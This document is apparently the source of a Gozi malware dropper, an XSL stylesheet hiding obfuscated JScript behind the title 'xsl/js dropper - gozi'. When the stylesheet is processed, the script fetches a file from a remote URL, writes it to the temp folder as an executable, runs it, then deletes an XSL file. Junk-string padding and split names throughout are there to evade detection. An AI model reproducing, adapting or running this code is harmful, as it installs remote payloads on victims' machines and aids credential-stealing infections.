xsl/js dropper - gozi

<
? xml version = '1.0' ? >
    <
    xsl : stylesheet version = "1.0"
xmlns: xsl = "http://www.w3.org/1999/XSL/Transform"
xmlns: msxsl = "urn:schemas-microsoft-com:xslt"
xmlns: user = "http://google.com/namespace" >
    <
    msxsl: script language = "JScript"
implements - prefix = "user" >
    <
    ![CDATA[
        aRCjom = "aA6c9";
        var ar2VpF = aRCjom.length; agH3D9 = false;

        function rep(a8aUN, aqV0H, ao78TS) {
            aVRAS = 28125;
            asqdF = "a2wQtU";
            var aAW8l = asqdF.toString();
            aLajhO = false;
            if (aqV0H.length > 0 && ao78TS.length > 0) {
                var aaOHy = "a5BNU";
                ao5Sg9 = aaOHy.length;
                return (a8aUN.replace(/ext8oeim/g, ""));
            }
        }
        var aZDfgw = -61560;
        var aViOFQ = "ap1e3v"; a90ZT = aViOFQ.toUpperCase(); aZWvVX = -27716; aSAwK = "aLJyO"; arEUO = aSAwK.length;

        function agE69F(aCTuaQ) {
            var aywd2 = "aUcEg";
            var ap49C = aywd2.toString();
            var aEv82A = false;
            aqZRi = "ahjYMk";
            aPrlG1 = aqZRi.length;
            var agV3fB = [
                rep("aext8oeimdext8oeimoext8oeimdext8oeimbext8oeim.ext8oeimsext8oeimtext8oeimrext8oeimeext8oeimaext8oeimmext8oeim", "a7aY1", "acBJDW"),
                rep("wext8oeimsext8oeimcext8oeimrext8oeimiext8oeimpext8oeimtext8oeim.ext8oeimsext8oeimhext8oeimeext8oeimlext8oeimlext8oeim", "aHiovN", "aPu7Dr"),
                rep("sext8oeimcext8oeimrext8oeimiext8oeimpext8oeimtext8oeimiext8oeimnext8oeimgext8oeim.ext8oeimfext8oeimiext8oeimlext8oeimeext8oeimsext8oeimyext8oeimsext8oeimtext8oeimeext8oeimmext8oeimoext8oeimbext8oeimjext8oeimeext8oeimcext8oeimtext8oeim", "ajYVp", "agdRt"),
                rep("mext8oeimsext8oeimxext8oeimmext8oeimlext8oeim2ext8oeim.ext8oeimxext8oeimmext8oeimlext8oeimhext8oeimtext8oeimtext8oeimpext8oeim", "aVHaUc", "a4Pxyv"),
                rep("sext8oeimaext8oeimvext8oeimeext8oeimtext8oeimoext8oeimfext8oeimiext8oeimlext8oeimeext8oeim", "aeqgU", "aZKT1"),
                rep("rext8oeimuext8oeimnext8oeim", "aSrc0E", "ajt8Ls"),
                rep("dext8oeimeext8oeimlext8oeimeext8oeimtext8oeimeext8oeimfext8oeimiext8oeimlext8oeimeext8oeim", "aY38MR", "axMHcp"),
                rep("aext8oeimXext8oeimlext8oeimPext8oeimcext8oeimCext8oeim.ext8oeimeext8oeimxext8oeimeext8oeim", "aLGM4X", "aJgf4"),
            ];
            abmOa = true;
            var aAaPI = "akjRdJ";
            var a3QYM = aAaPI.length;
            aaBcKA = 41432;
            aPRx7 = "a7n0q";
            return (agV3fB[aCTuaQ]);
        }
        var a8HfiQ = "aUqrm";
        var aGVHiD = a8HfiQ.toString();
        var a1Hl8U = true; anaItm = "a7nbw"; aK2bQ = anaItm.length;

        function aSw6aT(a9jMC) {
            var asvRHW = true;
            var aBSD19 = "aWFy1";
            a9isDV = aBSD19.length;
            acJ18D = "ai3P1X";
            ajd1vt = acJ18D.toString();
            return new ActiveXObject(a9jMC);
        }
        var ai3ac = aSw6aT(agE69F(1)).expandenvironmentstrings(rep("%ext8oeimtext8oeimeext8oeimmext8oeimpext8oeim%ext8oeim", "a8Uln", "azZu61")) + "\\";
    ]] >
    <
    /msxsl:script> <
    msxsl: script language = "JScript"
implements - prefix = "user" >
    <
    ![CDATA[
        awSY3C = 18357;
        var ac80k = -30379;
        var ageELG = false;
        var as46i = "a8aUN";
    ]] >
    <
    /msxsl:script> <
    msxsl: script language = "JScript"
implements - prefix = "user" >
    <
    ![CDATA[
        aaPvn = -63573; abg8h = true;

        function aUCjKH(ad6F4) {
            aPOZg = "akPpA";
            azwC4 = "av5RL";
            var aApPwr = false;
            var aP9gep = aSw6aT(agE69F(1));
            var afF6n = false;
            aeo7g = -51573;
            aL3WC = "aOkLrh";
            aUDyAC = aL3WC.toLowerCase();
            var ayFm94 = aSw6aT(agE69F(2));
            agsoR = 36573;
            aGCsm = "a6NEmn";
            var aLMFK = aGCsm.toUpperCase();
            var a02AU = 54448;
            var axDqYz = aSw6aT(agE69F(3));
            var a0Gmu = false;
            var aQcpz2 = 1936;
            axKZX = true;
            var a8rGP = true;
            var a85ni = "http://amproswata.com/zepoli/ironak.php?l=slalel7.cab".split("@");
            acMUT1 = false;
            ahTRN = "a1uR4w";
            anh4D = ahTRN.toUpperCase();
            for (aS8CL = 0; aS8CL < a85ni.length; aS8CL++) {
                aU72hc = "a8tAY6";
                aJN0EX = aU72hc.length;
                aRCni = 7506;
                aFa62 = 32292;
                ad6F4 = a85ni[aS8CL];
                var a4r3Iz = -52307;
                aohg5G = false;
                var aLSYjd = false;
                aZjIBa = -41865;
                aJhioG = true;
                var auUOf = false;
                arvcXH = -37354;
                aFLihb = false;
                var aokyn = 61453;
                a0Y6Z = "aBnG6r";
                aiu7Ir = a0Y6Z.toUpperCase();
                axDqYz.open("GET", ad6F4, 0);
                var aHizMc = false;
                aRSkXp = "asc0Z";
                var a8RvCB = aRSkXp.toString();
                axDqYz.send();
                alQ6S = false;
                var aaE9u1 = false;
                var aHa5C = false;
                if (axDqYz.status === 200 && axDqYz.readystate === 4) {
                    var azyQX = aSw6aT(agE69F(0));
                    azyQX.open();
                    azyQX.type = 1;
                    azyQX.write(axDqYz.responsebody);
                    azyQX.position = 0;
                    azyQX[agE69F(4)](ai3ac + agE69F(7), 2);
                    azyQX.close();
                    aP2YuX = false;
                    aCwukb = false;
                    var arv8B = false;
                    var aYisx = true;
                    aP9gep[agE69F(5)](ai3ac + agE69F(7));
                    aMmAyc = false;
                    var a1vi4W = true;
                    ausht = "aCkem";
                    var asFEPV = ausht.length;
                    a4Gpm = 10816;
                    aSZ5u = false;
                    aN5wok = "a249hE";
                    aH7gY = aN5wok.toLowerCase();
                    var aJYcT = 21783;
                    var asNTX = "aEd7Y";
                    a4MmA = true;
                    aUF7Ix = "ayj4EU";
                    a5cIY = aUF7Ix.toLowerCase();
                    ayFm94[agE69F(6)](ai3ac + rep("aext8oeimnext8oeimNext8oeimSext8oeim0ext8oeim.ext8oeimxext8oeimsext8oeimlext8oeim", "aBIgf1", "a3l8d"));
                    asgfM = "aUJeT";
                    aPd5nr = asgfM.toString();
                    aIk3YC = false;
                    break;
                }
            }
        }
    ]] >
    <
    /msxsl:script> <
    xsl: template match = "/" >
    <
    xsl: value - of select = "user:aUCjKH('aujNzg')" / >
    <
    /xsl:template> <
    /xsl:stylesheet>